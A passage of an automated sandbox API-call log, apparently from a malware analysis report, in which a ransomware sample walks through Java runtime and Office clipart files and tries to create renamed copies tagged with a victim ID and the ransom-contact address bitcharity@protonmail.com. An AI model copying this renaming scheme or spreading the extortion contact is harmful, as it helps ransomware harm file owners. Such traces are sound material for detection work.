lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.003] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.003] CloseHandle (hObject=0x11ec) returned 1 [0247.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0247.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0247.004] lstrlenW (lpString=".doc") returned 4 [0247.005] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.005] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.005] CloseHandle (hObject=0x11ec) returned 1 [0247.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0247.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0247.005] lstrlenW (lpString=".doc") returned 4 [0247.006] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.006] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.006] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.006] CloseHandle (hObject=0x11ec) returned 1 [0247.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0247.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0247.007] lstrlenW (lpString=".doc") returned 4 [0247.009] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.009] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.010] CloseHandle (hObject=0x11ec) returned 1 [0247.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0247.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0247.010] lstrlenW (lpString=".doc") returned 4 [0247.010] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.010] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.011] CloseHandle (hObject=0x11ec) returned 1 [0247.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0247.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0247.011] lstrlenW (lpString=".doc") returned 4 [0247.012] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.012] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.012] CloseHandle (hObject=0x11ec) returned 1 [0247.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0247.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0247.012] lstrlenW (lpString=".doc") returned 4 [0247.013] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.013] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.013] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.014] CloseHandle (hObject=0x11ec) returned 1 [0247.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0247.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0247.014] lstrlenW (lpString=".doc") returned 4 [0247.014] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.015] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.015] CloseHandle (hObject=0x11ec) returned 1 [0247.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0247.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0247.015] lstrlenW (lpString=".doc") returned 4 [0247.016] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.016] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.016] CloseHandle (hObject=0x11ec) returned 1 [0247.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0247.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0247.016] lstrlenW (lpString=".doc") returned 4 [0247.017] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.017] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.017] CloseHandle (hObject=0x11ec) returned 1 [0247.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0247.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0247.017] lstrlenW (lpString=".doc") returned 4 [0247.018] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.018] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.018] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.018] CloseHandle (hObject=0x11ec) returned 1 [0247.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0247.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0247.018] lstrlenW (lpString=".doc") returned 4 [0247.019] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.019] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.312] CloseHandle (hObject=0x11ec) returned 1 [0247.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0247.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0247.313] lstrlenW (lpString=".doc") returned 4 [0248.498] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.498] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.498] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.706] CloseHandle (hObject=0x1254) returned 1 [0248.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0248.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0248.706] lstrlenW (lpString=".doc") returned 4 [0249.084] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.084] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.084] CloseHandle (hObject=0x125c) returned 1 [0249.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0249.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0249.085] lstrlenW (lpString=".doc") returned 4 [0249.086] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.086] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.086] CloseHandle (hObject=0x125c) returned 1 [0249.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0249.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0249.087] lstrlenW (lpString=".doc") returned 4 [0249.089] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.089] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.089] CloseHandle (hObject=0x126c) returned 1 [0249.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0249.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0249.090] lstrlenW (lpString=".doc") returned 4 [0249.091] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.091] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.091] CloseHandle (hObject=0x126c) returned 1 [0249.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0249.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0249.092] lstrlenW (lpString=".doc") returned 4 [0249.094] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.094] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.095] CloseHandle (hObject=0x1268) returned 1 [0249.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0249.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0249.095] lstrlenW (lpString=".doc") returned 4 [0249.112] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.112] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.112] CloseHandle (hObject=0x1268) returned 1 [0249.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0249.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0249.113] lstrlenW (lpString=".doc") returned 4 [0249.113] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.113] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.114] CloseHandle (hObject=0x1268) returned 1 [0249.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0249.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0249.114] lstrlenW (lpString=".doc") returned 4 [0249.115] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.116] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.116] CloseHandle (hObject=0x1268) returned 1 [0249.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.116] lstrlenW (lpString=".doc") returned 4 [0249.117] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.117] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.117] CloseHandle (hObject=0x1268) returned 1 [0249.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.118] lstrlenW (lpString=".doc") returned 4 [0249.120] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.120] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.120] CloseHandle (hObject=0x1268) returned 1 [0249.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0249.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0249.120] lstrlenW (lpString=".doc") returned 4 [0249.122] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.122] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.122] CloseHandle (hObject=0x1268) returned 1 [0249.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0249.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0249.123] lstrlenW (lpString=".doc") returned 4 [0249.125] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, 